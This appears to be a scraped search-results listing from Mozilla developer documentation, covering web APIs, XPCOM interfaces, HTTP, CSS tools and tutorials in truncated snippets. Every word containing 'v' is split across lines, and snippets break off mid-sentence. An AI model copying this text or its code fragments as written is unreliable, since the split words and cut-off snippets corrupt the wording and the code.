... security this section contains apis for secure channel communications system this section contains application level interfaces including calls to external support elements (such as de
vice calls).
... browser autocomplete nsiautocompletecontroller nsiautocompleteinput nsiautocompletesearch console nsiconsolelistener nsiconsolemessage nsiconsoleser
vice document nsidocshell dom de
vice nsidomgeogeolocation nsidomgeoposition nsidomgeopositionaddress nsidomgeopositioncallback nsidomgeopositioncoords nsidomgeopositionerror nsidomgeopositionerrorcallback nsidomgeopositionoptions nsidomglobalpropertyinitializer element nsidomchromewindow nsidomclientrect nsidomelement nsidomhtmlaudioelement nsidomhtmlformeleme...
...And 16 more matches
Working with windows in chrome code
this is different from the user-
visible window title, which is specified using xul.
... var ww = components.classes["@mozilla.org/embedcomp/window-watcher;1"] .getser
vice(components.interfaces.nsiwindowwatcher); var win = ww.openwindow(null, "chrome://myextension/content/about.xul", "aboutmyextension", "chrome,centerscreen", null); window object note the win variable in the above section, which is assigned the return value of window.open.
... you can get a window object from a document using document.default
view.
...And 16 more matches
DevTools API - Firefox Developer Tools
introduction the devtools api pro
vides a way to register and access developer tools in firefox.
... in terms of code, each tool has to pro
vide a tooldefinition object.
...the gdevtools global object pro
vides methods to register a tool definition and to access tool instances.
...And 16 more matches
AddressErrors - Web APIs
the contents of the string pro
vide a human-readable explanation of the validation failure, and ideally suggestions to correct the problem.
...the contents of the string pro
vide a human-readable explanation of the validation failure, and ideally suggestions to correct the problem.
...the contents of the string pro
vide a human-readable explanation of the validation failure, and ideally suggestions to correct the problem.
...And 16 more matches
FileSystemEntry - Web APIs
it includes methods for working with files—including copying, mo
ving, remo
ving, and reading files—as well as information about a file it points to—including the file name and its path from the root to the entry.
...this interface serves as a base class for the filesystemfileentry and filesystemdirectoryentry interfaces, which pro
vide features specific to file system entries representing files and directories, respectively.
... // opening a file system with temporary storage window.requestfilesystem(temporary, 1024*1024 /*1mb*/, function(fs) { fs.root.getfile('log.txt', {}, function(fileentry) { fileentry.remove(function() { console.log('file removed.'); }, onerror); }, onerror); }, onerror); properties this interface pro
vides the following properties.
...And 16 more matches
Push API - Web APIs
push concepts and usage when implementing pushmanager subscriptions, it is
vitally important that you protect against csrf/xsrf issues in your app.
... see the following articles for more information: cross-site request forgery (csrf) prevention cheat sheet preventing csrf and xsrf attacks for an app to receive push messages, it has to have an active ser
vice worker.
... when the ser
vice worker is active, it can subscribe to push notifications, using pushmanager.subscribe().
...And 16 more matches
RTCIceCandidatePairStats - Web APIs
the webrtc rtcicecandidatepairstats dictionary reports statistics which pro
vide insight into the quality and performance of an rtcpeerconnection while connected and configured as described by the specified pair of ice candidates.
...in addition, it adds the following new properties: availableincomingbitrate optional pro
vides an informative value representing the available inbound capacity of the network by reporting the total number of bits per second available for all of the candidate pair's incoming rtp streams.
... availableoutgoingbitrate optional pro
vides an informative value representing the available outbound capacity of the network by reporting the total number of bits per second available for all of the candidate pair's outoing rtp streams.
...And 16 more matches
RTCStatsReport - Web APIs
the rtcstatsreport interface pro
vides a statistics report obtained by calling one of the rtcpeerconnection.getstats(), rtcrtpreceiver.getstats(), and rtcrtpsender.getstats() methods.
... the statistics objects for each category of statistic information, there is a dictionary whose properties pro
vide the relevant information.
... properties common to all statistic categories all webrtc statistics objects are fundamentally based on the rtcstats dictionary, which pro
vides the most fundamental information: the timestamp, the statistic type string, and an id uniquely identifying the source of the data: id a domstring which uniquely identifies the object which was inspected to produce this object based on rtcstats.
...And 16 more matches
Animating textures in WebGL - Web APIs
« pre
vious in this demonstration, we build upon the pre
vious example by replacing our static textures with the frames of an mp4
video file that's playing.
... getting access to the
video the first step is to create the <
video> element that we'll use to retrieve the
video frames: // will set to true when
video can be copied to texture var copy
video = false; function setup
video(url) { const
video = document.createelement('
video'); var playing = false; var timeupdate = false;
video.autoplay = true;
video.muted = true;
video.loop = true; // waiting for these 2 ...
...events ensures // there is data in the
video
video.addeventlistener('playing', function() { playing = true; checkready(); }, true);
video.addeventlistener('timeupdate', function() { timeupdate = true; checkready(); }, true);
video.src = url;
video.play(); function checkready() { if (playing && timeupdate) { copy
video = true; } } return
video; } first we create a
video element.
...And 16 more matches
Using Web Workers - Web APIs
once created, a worker can send messages to the javascript code that created it by posting messages to an event handler specified by that code (and
vice versa).
... this article pro
vides a detailed introduction to using web workers.
... data is sent between workers and the main thread
via a system of messages — both sides send their messages using the postmessage() method, and respond to messages
via the onmessage event handler (the message is contained within the message event's data attribute.) the data is copied rather than shared.
...And 16 more matches
WorkerGlobalScope - Web APIs
workers have no browsing context; this scope contains the information usually conveyed by window objects — in this case event handlers, the console or the associated workerna
vigator object.
... this interface is usually specialized by each worker type: dedicatedworkerglobalscope for dedicated workers, sharedworkerglobalscope for shared workers, and ser
viceworkerglobalscope for ser
viceworker.
... standard properties workerglobalscope.na
vigator read only returns the workerna
vigator associated with the worker.
...And 16 more matches
XRSession - Web APIs
the webxr de
vice api's xrsession interface represents an ongoing xr session, pro
viding methods and properties used to interact with and control the session.
... with xrsession methods, you can poll the
viewer's position and orientation (the xr
viewerpose), gather information about the user's en
vironment, and present imagery to the user.
... xrsession supports both inline and immersive
virtual and augmented reality modes.
...And 16 more matches
Color picker tool - CSS: Cascading Style Sheets
<div id="controls"> <div id="delete"> <div id="trash-can"></div> </div> <div id="void-sample" class="icon"></div> </div> </div> <div id="canvas" data-tutorial="drop"> <div id="zindex" class="ui-input-slider" data-topic="z-index" data-info="z-index" data-max="20" data-sensi
vity="10"></div> </div> </div> css /* * color picker tool */ .ui-color-picker { width: 420px; margin: 0; border: 1px solid #ddd; background-color: #fff; display: table; -moz-user-select: none; -webkit-user-select: none; -ms-user-select: none; user-select: none; } .ui-color-picker .picking-area { width: 198px; height: 198px; margin: 5px; border: 1px solid #ddd; posi...
...ha"] > input { float: right; } .ui-color-picker .input[data-topic="hexa"] { width: auto; float: right; margin: 6px 8px 0 0; } .ui-color-picker .input[data-topic="hexa"] > .name { display: none; } .ui-color-picker .input[data-topic="hexa"] > input { width: 90px; height: 24px; padding: 2px 0; -moz-box-sizing: border-box; -webkit-box-sizing: border-box; box-sizing: border-box; } /* pre
view color */ .ui-color-picker .pre
view { width: 95px; height: 53px; margin: 5px; margin-top: 10px; border: 1px solid #ddd; background-image: url("https://mdn.mozillademos.org/files/5705/alpha.png"); float: left; position: relative; } .ui-color-picker .pre
view:before { height: 100%; width: 50%; left: 50%; top: 0; content: ""; background: #fff; position: absolute; z-index: 1; } .ui-...
...color-picker .pre
view-color { width: 100%; height: 100%; background-color: rgba(255, 0, 0, 0.5); position: absolute; z-index: 1; } .ui-color-picker .switch_mode { width: 10px; height: 20px; position: relative; border-radius: 5px 0 0 5px; border: 1px solid #ddd; background-color: #eee; left: -12px; top: -1px; z-index: 1; transition: all 0.5s; } .ui-color-picker .switch_mode:hover { background-color: #ccc; cursor: pointer; } /* * ui component */ .ui-input-slider { height: 20px; font-family: "segoe ui", arial, helvetica, sans-serif; -moz-user-select: none; user-select: none; } .ui-input-slider * { float: left; height: 100%; line-height: 100%; } /* input slider */ .ui-input-slider > input { margin: 0; padding: 0; width: 50px; text-align: center; -moz-box-si...
...And 16 more matches
Linear-gradient Generator - CSS: Cascading Style Sheets
"gradient-container" data-alpha="true"> </div> <div id="controls"> <div class="section"> <div class="title"> active point </div> <div class="property"> <div class="ui-input-slider" data-topic="point-position" data-info="position" data-unit="px" data-min="-1000" data-value="0" data-max="1000" data-sensi
vity="5"></div> <div id="delete-point" class="button"> delete point </div> </div> <div class="ui-color-picker" data-topic="picker"></div> </div> <div class="section"> <div class="title"> active axis </div> <div class="property"> <div class="name"> axis unit </div> ...
...ha"] > input { float: right; } .ui-color-picker .input[data-topic="hexa"] { width: auto; float: right; margin: 6px 8px 0 0; } .ui-color-picker .input[data-topic="hexa"] > .name { display: none; } .ui-color-picker .input[data-topic="hexa"] > input { width: 90px; height: 24px; padding: 2px 0; -moz-box-sizing: border-box; -webkit-box-sizing: border-box; box-sizing: border-box; } /* pre
view color */ .ui-color-picker .pre
view { width: 95px; height: 53px; margin: 5px; margin-top: 10px; border: 1px solid #ddd; background-image: url("images/alpha.png"); float: left; position: relative; } .ui-color-picker .pre
view:before { height: 100%; width: 50%; left: 50%; top: 0; content: ""; background: #fff; position: absolute; z-index: 1; } .ui-color-picker .pre
view-color { wi...
...order-color: #208b20; background: #666; background-color: #eef1f5; color: #000; position: absolute; top: 100%; left: 0; z-index: 100; overflow: hidden; transition: all 0.3s; -moz-box-sizing: border-box; -webkit-box-sizing: border-box; box-sizing: border-box; } .ui-dropdown-list:hover { overflow: auto; } .ui-dropdown-list[data-hidden='true'] { height: 0 !important; opacity: 0;
visibility: hidden; } .ui-dropdown[data-position='left'] .ui-dropdown-list { left: -100%; top: 0; } .ui-dropdown[data-position='right'] .ui-dropdown-list { left: 100%; top: 0; } .ui-dropdown-list > div { width: 80%; height: 1.6em; margin: 0.3em 0; padding: 0.3em 10%; line-height: 1.6em; } .ui-dropdown-list > div:hover { background: #3490d2; color:#fff; border-radius: 2px; cursor: po...
...And 16 more matches
HTML attribute reference - HTML: Hypertext Markup Language
elements in html have attributes; these are additional values that configure the elements or adjust their beha
vior in various ways to meet the criteria the users want.
... action <form> the uri of a program that processes the information submitted
via the form.
... autoplay <audio>, <
video> the audio or
video should play as soon as possible.
...And 16 more matches
<input type="email"> - HTML: Hypertext Markup Language
the :valid and :invalid css pseudo-classes are automatically applied as appropriate to
visually denote whether the current value of the field is a valid e-mail address or not.
...the <datalist> pro
vides a list of predefined values to suggest to the user for this input.
...the values pro
vided are suggestions, not requirements: users can select from this predefined list or pro
vide a different value.
...And 16 more matches
<input type="search"> - HTML: Hypertext Markup Language
the <datalist> pro
vides a list of predefined values to suggest to the user for this input.
...the values pro
vided are suggestions, not requirements: users can select from this predefined list or pro
vide a different value.
... placeholder the placeholder attribute is a string that pro
vides a brief hint to the user as to what kind of information is expected in the field.
...And 16 more matches
Firefox user agent string reference - HTTP
though fixed in firefox 69, pre
vious 32-bit versions of firefox running on 64-bit processors would report that the system is using a 32-bit cpu.
... on desktop, geckotrail is the fixed string "20100101" firefox/firefoxversion indicates the browser is firefox, and pro
vides the version (such as "17.0").
... the platform part of the ua string indicates if firefox is running on a phone-sized or tablet de
vice.
...And 16 more matches
Functions - JavaScript
« pre
viousnext » functions are one of the fundamental building blocks in javascript.
... a function in javascript is similar to a procedure—a set of statements that performs a task or calculates a value, but for a procedure to qualify as a function, it should take some input and return an output where there is some ob
vious relationship between the input and the output.
...a non-primitive value, such as array or a user-defined object) as a parameter and the function changes the object's properties, that change is
visible outside the function, as shown in the following example: function myfunc(theobject) { theobject.make = 'toyota'; } var mycar = {make: 'honda', model: 'accord', year: 1998}; var x, y; x = mycar.make; // x gets the value "honda" myfunc(mycar); y = mycar.make; // y gets the value "toyota" // (the make property was changed by the function) function expressions while the ...
...And 16 more matches
Authoring MathML - MathML
of course, the list is by no means exhaustive and you are in
vited to check out the w3c mathml software list where you can find various other tools.
...hence you will need to use a mathml polyfill to pro
vide some fallback rendering.
...to use it, just insert one line in your document header: <script src="https://fred-wang.github.io/mathml.css/mspace.js"></script> if you need more complex constructions, you might instead consider using the hea
vier mathjax library as a mathml polyfill: <script src="https://fred-wang.github.io/mathjax.js/mpadded-min.js"></script> note that these two scripts perform feature detection of the mspace or mpadded elements (see the browser compatibility table on these pages).
...And 16 more matches
Graphic design for responsive sites - Progressive web apps (PWAs)
this article pro
vides a high level discussion aimed at helping you to choose the best option for your graphical needs.
...this really depends on what target de
vices you have to support, how complex the graphics need to be, and how much interacti
vity your graphics require.
... ser
ving images selectively
via css in general, you will use mostly the same graphical assets for different layouts in a responsive design, but you may well include slightly different ones dependant on context.
...And 16 more matches
List of Mozilla-Based Applications - Archive of obsolete content
script gui-framework aol instant messenger im client uses nss apache web server doesn't use nss by default, but can be configured to use nss with mod_nss ssl module apicawatch site performance monitoring tool uses firefox as part of its monitoring package astyle css editor editing tool atmail webmail client a
viva for java mainframe connecti
vity product uses mozilla rhino babelgum internet tv ser
vice basilisk pre-servo xul-based web browser uses most of the firefox 55 source code batik java-based toolkit uses mozilla rhino bitbox security focused browser seemingly based on firefox blackbird browser for african american communi...
... mozilla nss and npapi libraries chromeless browser with html-based interface classilla mozilla browser for mac os 9 clines a clone of color lines (game) standalone version cloud web operating system cloud browse iphone/ipad/ipod touch browser seems to be firefox running remotely on servers that people access through de
vice conkeror keyboard-oriented browser convertigo enterprise mashup server server tool for transactional web scraping and for web clipping cometbird another firefox mod modified version of firefox correo email couac (fr) web-based email and jabber app couchdb document-oriented database uses spidermonkey ...
...age stats from global stats fossamail email client for windows platform, based on mozilla thunderbird developed by moonchild productions, creator of the pale moon web browser flickr uploadr image upload tool see flickr uploadr: open source and powered by xulrunner foxkeh clock clock frizione javascript development, testing and deployment en
vironment uses mozilla rhino geckofx embeddable gecko gjs javascript bindings for gnome globalmojo browser that raises money for your favorite causes gluescript a javascript engine which can be used as a general purpose language uses mozilla spidermonkey and formerly called wxjavascript gnome operating system gnome 3 wi...
...And 15 more matches
Menus - Archive of obsolete content
menus a menu pro
vides a list of commands that the user can carry out.
... xul pro
vides a number of tags for creating menus.
...the following is a brief summary of these elements, examples of each will be pro
vided later.
...And 15 more matches
Box Objects - Archive of obsolete content
« pre
viousnext » this section describes the box object, which holds display and layout related information about a xul box as well as some details about xul layout.
... about mozilla layout mozilla di
vides things into two sets of trees, the content tree and the layout tree.
...the layout tree holds a different tree of nodes for each indi
vidual component that can be displayed.
...And 15 more matches
Using Remote XUL - Archive of obsolete content
the remote xul manager extension lets you manage this whitelist, which is maintained using nsipermissionmanager, by creating entries of type "allowxulxbl", like this: components.classes["@mozilla.org/permissionmanager;1"] .getser
vice(components.interfaces.nsipermissionmanager) .add(uri, 'allowxulxbl', components.interfaces.nsipermissionmanager.allow_action); xul (pronounced like "zool"), which is short for xml-based user interface language, is an xml-based language for describing application interfaces.
...xul loaded and rendered in this way is called remote xul and can be used for basic functions like web site na
vigation as well as to build sophisticated web-based applications.
... [***aw: we should have a screenshot here of a xul document loaded in a content window***] this tutorial walks you through the process of building xul-based na
vigation for the mozilla.org web site.
...And 15 more matches
Writing Skinnable XUL and CSS - Archive of obsolete content
mozilla can have any number of installed ui packages, from na
vigator to sidebar to editor.
...this may seem ob
vious, but many of the nastiest problems we're seeing are being caused by people writing buggy or syntactically incorrect css.
...for example, the skin for the na
vigator package should contain a file called na
vigator.css that determines the default look of all xul windows posed from this package.
...And 15 more matches
How do you upload your files to a web server? - Learn web development
you must also know how to set up a basic en
vironment and how to write a simple webpage.
... open the filezilla application; you should see something like this: logging in for this example, we'll suppose that our hosting pro
vider (the ser
vice that will host our http web server) is a fictitious company "example hosting pro
vider" whose urls look like this: mypersonalwebsite.examplehostingpro
vider.net.
... we have just opened an account and received this info from them: congratulations for opening an account at example hosting pro
vider.
...And 15 more matches
What is a web server? - Learn web development
(for example, html documents, images, css stylesheets, and javascript files) a web server connects to the internet and supports physical data interchange with other de
vices connected to the web.
...an http server is software that understands urls (web addresses) and http (the protocol your browser uses to
view webpages).
... an http server can be accessed through the domain names of the websites it stores, and it delivers the content of these hosted websites to the end user's de
vice.
...And 15 more matches
HTML table basics - Learn web development
over
view: tables next this article gets you started with html tables, covering the very basics such as rows and cells, headings, making cells span multiple columns and rows, and how to group together all the cells in a column for styling purposes.
... tables are very commonly used in human society, and have been for a long time, as e
videnced by this us census document from 1800: it is therefore no wonder that the creators of html pro
vided a means by which to structure and present tabular data on the web.
...information is easily interpreted by making
visual associations between row and column headers.
...And 15 more matches
Manipulating documents - Learn web development
pre
vious over
view: client-side web apis next when writing web pages and apps, one of the most common things you'll want to do is manipulate the document structure in some way.
...in this article we'll look at how to use the dom in detail, along with some other interesting apis that can alter your en
vironment in interesting ways.
... objective: to gain familiarity with the core dom apis, and the other apis commonly associated with dom and document manipulation the important parts of a web browser web browsers are very complicated pieces of software with a lot of mo
ving parts, many of which can't be controlled or manipulated by a web developer using javascript.
...And 15 more matches
Starting our Svelte Todo list app - Learn web development
pre
vious over
view: client-side javascript frameworks next now that we have a basic understanding of how things work in svelte, we can start building our example app: a todo list.
... in this article we will first have a look at the desired functionality of our app, then we'll create a todos.svelte component and put static markup and styles in place, lea
ving everything ready to start developing our to-do list app features, which we'll go on to in subsequent articles.
... </label> </h2> <input type="text" id="todo-0" autocomplete="off" class="input input__lg" /> <button type="submit" disabled="" class="btn btn__primary btn__lg"> add </button> </form> <!-- filter --> <div class="filters btn-group stack-exception"> <button class="btn toggle-btn" aria-pressed="true"> <span class="
visually-hidden">show</span> <span>all</span> <span class="
visually-hidden">tasks</span> </button> <button class="btn toggle-btn" aria-pressed="false"> <span class="
visually-hidden">show</span> <span>active</span> <span class="
visually-hidden">tasks</span> </button> <button class="btn toggle-btn" aria-pressed="false"> <span class="
visually-hidden">...
...And 15 more matches
Implementing feature detection - Learn web development
pre
vious over
view: cross browser testing next feature detection involves working out whether a browser supports a certain block of code, and running different code depending on whether it does (or doesn't), so that the browser can always pro
vide a working experience rather than crashing/erroring in some browsers.
... the concept of feature detection the idea behind feature detection is that you can run a test to determine whether a feature is supported in the current browser, and then conditionally run code to pro
vide an acceptable experience both in browsers that do support the feature, and browsers that don't.
... let's recap and look at the example we touched on in our handling common javascript problems — the geolocation api (which exposes available location data for the de
vice the web browser is running on) has the main entry point for its use, a geolocation property available on the global na
vigator object.
...And 15 more matches
Chrome registration
chrome pro
viders a supplier of chrome for a given window type (e.g., for the browser window) is called a chrome pro
vider.
... the pro
viders work together to supply a complete set of chrome for a particular window, from the images on the toolbar buttons to the files that describe the text, content, and appearance of the window itself.
... there are three basic types of chrome pro
viders: content the main source file for a window description comes from the content pro
vider, and it can be any file type
viewable from within mozilla.
...And 15 more matches
Creating reftest-based unit tests
the power of the tool comes from the fact that there is more than one way to achieve any given
visual effect in a browser.
... so, if the effect of complex markup is being tested, put that complex markup into a page and create another page that uses simple markup to achieve the same
visual effect.
...and a browser may change the
visual effect produced by a tag while still being compliant with relevant standards.
...And 15 more matches
How Mozilla's build system works
however, with the transition to moz.build files, you may eventually see non-make build backends, such as tup or
visual studio.
... the recursive make backend di
vides the source tree into tiers.
...they do this
via the add_tier_dir() function.
...And 15 more matches
Performance best practices for Firefox front-end engineers
if you need more elevated pri
vileges than a standard worker allows, consider using a chromeworker, which is a firefox-only api which lets you create workers with more elevated pri
vileges.
... as of bug 1353206, you can also schedule idle events in non-dom contexts by using ser
vices.tm.idledispatchtomainthread.
... javascript code might, for example, change dom node attributes (either directly or by adding or remo
ving classes from elements), and can also add, remove, or delete dom nodes.
...And 15 more matches
Application Translation with Mercurial
gaia-* denotes branches of firefox os, the operating system for mobile de
vices.
... file and text editor for editing indi
vidual files a text editor can be a better choice than a file comparion program, e.g.
...this can be done in a text editor or word processor or any other tool in which you can attach different kind of states to the indi
vidual texts to translate.
...And 15 more matches
Localization content best practices
this document pro
vides best practices for developers to create localizable code, and describes how to avoid some localizability (l12y) common mistakes.
... if you're re
viewing a patch, check also strings for grammar errors, capitalization or inconsistencies.
...if you have any doubts about the quality of strings, ask a copywriter to do a copy re
view of this text.
...And 15 more matches
Manipulating bookmarks using Places
the places bookmarks ser
vice, pro
vided by the nsinavbookmarksser
vice interface, pro
vides methods for creating, deleting, and manipulating bookmarks and bookmark folders.
... this article offers examples for how to perform common bookmark management tasks using the bookmarks ser
vice.
... initiating the bookmarks ser
vice as is the case with nearly all interfaces, before you can use the bookmarks ser
vice, you need to get access to it: var bmsvc = components.classes["@mozilla.org/browser/nav-bookmarks-ser
vice;1"] .getser
vice(components.interfaces.nsinavbookmarksser
vice); creating a bookmark folder creating a new bookmark folder is done using the nsinavbookmarksser
vice.createfolder() method.
...And 15 more matches
Setting up the Gecko SDK
« pre
viousnext » this chapter pro
vides basic setup information for the gecko software development kit (sdk) used to build the weblock component in this tutorial.
... downloading and setting the sdk the gecko sdk pro
vides all of the tools, headers, and libraries that you need to build xpcom components.
...if you choose some other location, remember to adjust the settings described here (e.g., in the building a microsoft
visual cpp project section below) to point to this new location.
...And 15 more matches
mozIAsyncHistory
toolkit/components/places/moziasynchistory.idlscriptable this interface allows you to add multiple
visits to a single url in a batch.
... 1.0 66 introduced gecko 24.0 inherits from: nsisupports last changed in gecko 24.0 (firefox 24.0 / thunderbird 24.0 / seamonkey 2.21) implemented by: @mozilla.org/browser/history;1 as a ser
vice: var asynchistory = components.classes["@mozilla.org/browser/history;1"] .getser
vice(components.interfaces.moziasynchistory); method over
view void getplacesinfo(in jsval aplaceidentifiers, in mozi
visitinfocallback acallback); void isuri
visited(in nsiuri auri, in mozi
visitedstatuscallback acallback); void updateplaces(in moziplaceinfo, [optional] in mozi
visitinfocallback acallback); methods getplacesinfo() starts an asynchronous request to determine whether or not a given uri has been
visited; you must implement a callback t...
...void getplacesinfo( in jsval aplaceidentifiers, in mozi
visitinfocallback acallback ); parameters aplaceidentifiers the uri for which to determine the
visited status.
...And 15 more matches
nsINavHistoryResultNode
toolkit/components/places/public/nsinavhistoryser
vice.idlscriptable this is the base class for all places history result nodes, containing the uri, title, and other general information.
... icon autf8string this uri can be used as an image source uri and will give you the fa
vicon for the page.
... it is not the actual uri of the fa
vicon, but, rather, is something that will resolve to the actual image.
...And 15 more matches
Component; nsIPrefBranch
this object may be obtained from the preferences ser
vice (nsiprefser
vice) and used to get and set default and/or user preferences across the application.
... method over
view void addobserver(in string adomain, in nsiobserver aobserver, in boolean aholdweak); void clearuserpref(in string aprefname); void deletebranch(in string astartingat); boolean getboolpref(in string aprefname, requires gecko 54 [optional] in boolean adefaultvalue); string getcharpref(in string aprefname,requires gecko 54 [optional] in string adefaul...
... getboolpref() called to get the state of an indi
vidual boolean preference.
...And 15 more matches
XPCOM Interface Reference
this is a reference to the xpcom interfaces pro
vided by the mozilla platform.
...iblehypertextiaccessibleimageiaccessiblerelationiaccessibletableiaccessibletable2iaccessibletablecelliaccessibletextiaccessiblevalueidispatchijsdebuggeramiinstallcallbackamiinstalltriggeramiwebinstallinfoamiwebinstalllisteneramiwebinstallpromptamiwebinstallerimgicacheimgicontainerimgicontainerobserverimgidecoderimgidecoderobserverimgiencoderimgiloaderimgirequestinidomutilsjsdistackframemoziasyncfa
viconsmoziasynchistorymozicoloranalyzermozijssubscriptloadermozipersonaldictionarymoziplaceinfomoziplacesautocompletemoziregistrymozirepresentativecolorcallbackmozispellcheckingenginemozistorageaggregatefunctionmozistorageasyncstatementmozistoragebindingparamsmozistoragebindingparamsarraymozistoragecompletioncallbackmozistorageconnectionmozistorageerrormozistoragefunctionmozistoragependingstatementm...
...ozistorageprogresshandlermozistorageresultsetmozistoragerowmozistorageser
vicemozistoragestatementmozistoragestatementcallbackmozistoragestatementparamsmozistoragestatementrowmozistoragestatementwrappermozistoragevacuumparticipantmozistoragevaluearraymozitxttohtmlconvmozithirdpartyutilmozi
visitinfomozi
visitinfocallbackmozi
visitstatuscallbacknsiabcardnsiaboutmodulensiabstractworkernsiaccelerometerupdatensiaccessnodensiaccessibilityser
vicensiaccessiblensiaccessiblecaretmoveeventnsiaccessiblecoordinatetypensiaccessibledocumentnsiaccessibleeditabletextnsiaccessibleeventnsiaccessiblehyperlinknsiaccessiblehypertextnsiaccessibleimagensiaccessiblepro
vidernsiaccessiblerelationnsiaccessibleretrievalnsiaccessiblerolensiaccessiblescrolltypensiaccessibleselectablensiaccessiblestatechangeeventnsiaccessible...
...And 15 more matches
Guide to the Fullscreen API - Web APIs
activating full-screen mode given an element that you'd like to present in full-screen mode (such as a <
video>, for example), you can present it in full-screen mode by simply calling its requestfullscreen() method.
... let's consider this <
video> element: <
video controls id="my
video"> <source src="some
video.webm"></source> <source src="some
video.mp4"></source> </
video> we can put that
video into full-screen mode as follows: var elem = document.getelementbyid("my
video"); if (elem.requestfullscreen) { elem.requestfullscreen(); } this code checks for the existence of the requestfullscreen() method before calling it.
...to get the same fullscreen beha
vior in webkit, you need to add your own "width: 100%; height: 100%;" css rules to the element yourself: #my
video:-webkit-full-screen { width: 100%; height: 100%; } on the other hand, if you're trying to emulate webkit's beha
vior on gecko, you need to place the element you want to present inside another element, which you'll make fullscreen instead, and use css rules to adjust the inner element to mat...
...And 15 more matches
HTMLImageElement.srcset - Web APIs
if the condition descriptor is not pro
vided (in other words, the image candidate pro
vides only a url), the candidate is used as the fallback if none of the other candidates match.
... otherwise, the condition descriptor may take one of two forms: to indicate that the image resource specified by the image candidate string should be used when the image is being rendered with a particular width in pixels, pro
vide a width descriptor comprised the number gi
ving that width in pixels followed by the lower case letter "w".
... for example, to pro
vide an image resource to be used when the renderer needs a 450 pixel wide image, use the width descriptor string 450w.
...And 15 more matches
HTMLMediaElement - Web APIs
the htmlmediaelement interface adds to htmlelement the properties and methods needed to support basic media-related capabilities that are common to audio and
video.
... the html
videoelement and htmlaudioelement elements both inherit this interface.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 30%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 180" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top...
...And 15 more matches
Media Session API - Web APIs
the media session api pro
vides a way to customize media notifications.
... it does this by pro
viding metadata for display by the user agent of the media your web app is playing, and allows you to create event handlers, to define your own beha
viors for a user-agent playback controls.
... media session concepts and usage the mediametadata interface lets a web site pro
vide rich metadata to the platform ui for media that is playing.
...And 15 more matches
Window.pageYOffset - Web APIs
aenean volutpat
vitae felis non dictum.
...nullam
vitae lorem non augue mattis cursus.</p> <p>maecenas nec tortor tincidunt, sollicitudin mi eget, fermentum turpis.
...nullam metus dui, venenatis lacinia nunc nec, vestibulum
viverra nunc.
...And 15 more matches
break-before - CSS: Cascading Style Sheets
to; break-before: verso; /* column break values */ break-before: avoid-column; break-before: column; /* region break values */ break-before: avoid-region; break-before: region; /* global values */ break-before: inherit; break-before: initial; break-before: unset; each possible break point (in other words, each element boundary) is affected by three properties: the break-after value of the pre
vious element, the break-before value of the next element, and the break-inside value of the containing element.
...nulla
vitae fringilla mauris.
...mauris
vitae hendrerit arcu, ac scelerisque lacus.
...And 15 more matches
HTML5 - Developer guides
it is a new version of the language html, with new elements, attributes, and beha
viors, and a larger set of technologies that allows the building of more diverse and powerful web sites and applications.
... connecti
vity: allowing you to communicate with the server in new and innovative ways.
... multimedia: making
video and audio first-class citizens in the open web.
...And 15 more matches
<a>: The Anchor element - HTML: Hypertext Markup Language
downloadhtml5 prompts the user to save the linked url instead of na
vigating to it.
...firefox 79+) setting target="_blank" on <a> elements implicitly pro
vides the same rel beha
vior as setting rel="noopener".
... linking to telephone numbers <a href="tel:+49.157.0156">+49 157 0156</a> <a href="tel:+1(555)5309">(555) 5309</a> tel: link beha
vior varies with de
vice capabilities: cellular de
vices autodial the number.
...And 15 more matches
HTTP caching - HTTP
the performance of web sites and applications can be significantly improved by reusing pre
viously fetched resources.
...for a web site, it is a major component in achie
ving high performance.
...a browser cache holds all documents downloaded
via http by the user.
...And 15 more matches
Configuring servers for Ogg media - HTTP
html <audio> and <
video> elements allow media presentation without the need for the user to install any plug-ins or other software to do so.
... serve media with the correct mime type *.ogg and *.ogv files containing
video (possibly with an audio track as well, of course), should be served with the
video/ogg mime type.
... if you don't know whether the ogg file contains audio or
video, you can serve it with the mime type application/ogg, and the browser will treat it as a
video file.
...And 15 more matches
Content negotiation - HTTP
in http, content negotiation is the mechanism that is used for ser
ving different representations of a resource at the same uri, so that the user agent can specify which is best suited for the user (for example, which language of a document, which image format, or which content encoding).
...html5 pro
vides alternatives to content negotiation
via, for example, the <source> element.
...the server uses this url to choose one of the variants it pro
vides – each variant being called a representation – and returns a specific representation to the client.
...And 15 more matches
Autoplay guide for media and Web Audio APIs - Web media technologies
automatically starting the playback of audio (or
videos with audio tracks) immediately upon page load can be an unwelcome surprise to users.
...in order to give users control over this, browsers often pro
vide various forms of autoplay blocking.
... in this guide, we'll cover autoplay functionality in the various media and web audio apis, including a brief over
view of how to use autoplay and how to work with browsers to handle autoplay blocking gracefully.
...And 15 more matches
Progressive loading - Progressive web apps (PWAs)
pre
vious over
view: progressive web apps in pre
vious articles we covered apis that help us make our js13kpwa example a progressive web app: ser
vice workers, web manifests, notifications and push.
...we should be able to show them at least the basic
view of the page they want to see, with placeholders in the places more content will eventually be loaded.
... bundling versus splitting many
visitors won't go through every single page of a website, yet the usual approach is to bundle every feature we have into one big file.
...And 15 more matches
Space Manager Detailed Design - Archive of obsolete content
over
view the space manager and related classes and structures are an important of the gecko layout system, specifically block layout.
... see the high level design document for an over
view of the space manager, and as an introduction to the classes, structures and algorithms container in this, the detailed design document.
...the primary goal of the space manager is to pro
vide information about those bands of space to support the css notion of floated elements.
...And 14 more matches
Implementing controls using the Gamepad API - Game development
the gamepad api achieves this by pro
viding an interface exposing button presses and axis changes that can be used inside javascript code to handle the input.
... the most popular gamepads right now are those from the xbox 360, xbox one, ps3 and ps4 — they have been hea
vily tested and work well with the gamepad api implementation in browsers across windows and mac os x.
... there's also a number of other de
vices with various different button layouts that more or less work across browser implementations.
...And 14 more matches
Sizing items in CSS - Learn web development
pre
vious over
view: building blocks next in the various lessons so far you have come across a number of ways to size items on a web page using css.
... understanding how big the different features in your design will be is important, and in this lesson we will summarize the various ways elements get a size
